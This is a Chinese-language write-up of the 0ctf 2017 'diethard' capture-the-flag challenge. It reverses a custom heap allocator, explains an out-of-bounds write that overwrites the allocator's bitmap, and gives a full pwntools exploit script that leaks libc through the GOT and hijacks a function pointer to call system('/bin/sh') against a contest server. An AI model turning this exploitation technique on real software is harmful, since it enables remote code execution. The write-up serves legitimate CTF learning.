0ctf2017 'diethard'

这道题主要是难在逆向上，把这道题的结构看出来，漏洞还是比较明显的。

ida 逆向的笔记

```
猜测这个heap的bin list总共9个，最小是从8开始，8,16,32,64,128，256，512，1024，2048

堆管理方式是通过mmap向系统申请空间，最多申请26个mmap块，每个mmap块的大小一次为1M，2M，4M，
8M...

每一个bin中存放最多34个block，block的大小从4096字节开始，依次为4096，
40962,40964,4096*8,...
```

逆向完寻找漏洞，

```
puts("Please Input Message:");
                  get_input_msg(pCont, len);
                  pMsg_st->len = len;
                  pMsg_st->pContent = pCont;
                  pMsg_st->print_func = (__int64)print_str;
                  pMsg_st[1].field_0 = total_msg++;// 存在越界写操作
```

这里在填充 Msg 结构体的时候存在一个很明显的越界写操作，本来是没法利用的，但是发现 bitmap 存储的位置和 msg 一样，都是在 mmap 区域上。所以就可以 overwrite bitmap。程序之所以要根据 len 是否大于2016采取两种不同的分配策略，就是为了让这个漏洞能够利用。

利用方式是先分配几个small chunk，然后分配两个2048大小的 chunk，这时候第二个 chunk 会把 bitmap 给覆盖掉，覆盖的值是 total_msg - 1, 我们可以把它覆盖成0b100，这样这两个2048大小的 chunk 所占用的空间就变成空闲的了。在分配一个 content length 大于2016的 chunk，这样这个 chunk 的数据段就覆盖在了已有 chunk 上，可以改写已有 chunk 的结构段，可以修改结构体中 用来 print chunk内容的函数的指针和函数的参数。然后调用 delete 就能触发漏洞了。需要 delete 两次，第一次 leak libc， 第二次 system("/bin/sh")

写 exp 就非常简单了

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='info')
```

```python
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.* r-xp .* {}$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

def add_msg(msg_len, msg_content):
    p.recvuntil("3. Exit\n")
    p.sendline("1")
    p.sendlineafter("Length:\n", str(msg_len))
    p.sendlineafter("Message:\n", msg_content)

def del_msg(msg_no):
    p.sendlineafter("3. Exit\n", "2")
    p.sendlineafter("Delete?\n", str(msg_no))

def gen_rop(func_addr, args):
    """
    automate generate rop function
    _gadgets array contains gadgets address for 0,1,2,... args
    """
    _gadgets = []
    rop = ""
    rop += p32(func_addr)
    if len(args) > 1:
        rop += _gadgets[len(args)]
        for arg in args:
            rop += p32(args)
    return rop


_program = 'diethard'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

elf = ELF('./' + _program)

if _pwn_remote == 0:
    libc = ELF('./libc.so.6')
    p = process('./' + _program)

    if _debug != 0:
        if elf.pie:
```

```
            _bps = [] #breakpoints defined by yourself, not absolute addr, but offset addr of the program's base addr
            _offset = __get_base(p, os.path.abspath(p.executable))
            _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
        else:
            _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
else:
    libc = ELF('./libc.so.remote')
    p = remote('202.120.7.194', 6666)


payload = ''

add_msg(31, 'A')
add_msg(31, 'A')
add_msg(31, 'A')
add_msg(2015, 'A')
add_msg(2015, 'A') #overwrite the bitmap as 4

print_str = 0x400976
msg_st = [
        0xdeadbeef,
        8,
        elf.got['puts'],
        0x400976
        ]

fake_msg_head = ''.join(map(lambda x: p64(x), msg_st))

add_msg(2020, fake_msg_head)

p.sendlineafter("3. Exit\n", "2")
p.recvuntil("3. ")
libc_puts = u64(p.recv(8))
print "libc puts addr:", hex(libc_puts)

p.sendline('0')

libc.address = libc_puts - libc.symbols['puts']

msg_st = [
        0xdeadbeef,
        11,
        next(libc.search('/bin/sh')),
        libc.symbols['system'],
```

```
        ]

fake_msg_head = ''.join(map(lambda x: p64(x), msg_st))

add_msg(2020, fake_msg_head)
log.info("second delete")
p.sendlineafter("3. Exit\n", "2")

p.sendline("id")

p.interactive()

```

困惑

1. 写 exp 的时候遇到了一个问题，recvuntil("Delete?")这个函数有的时候会阻塞，有的时候又不会阻塞。debug 发现有的时候是能接收到这个字符串的，有的时候不能，而程序中是肯定会打印这句 话的。gdb 调试又都是对的，不知道怎么回事。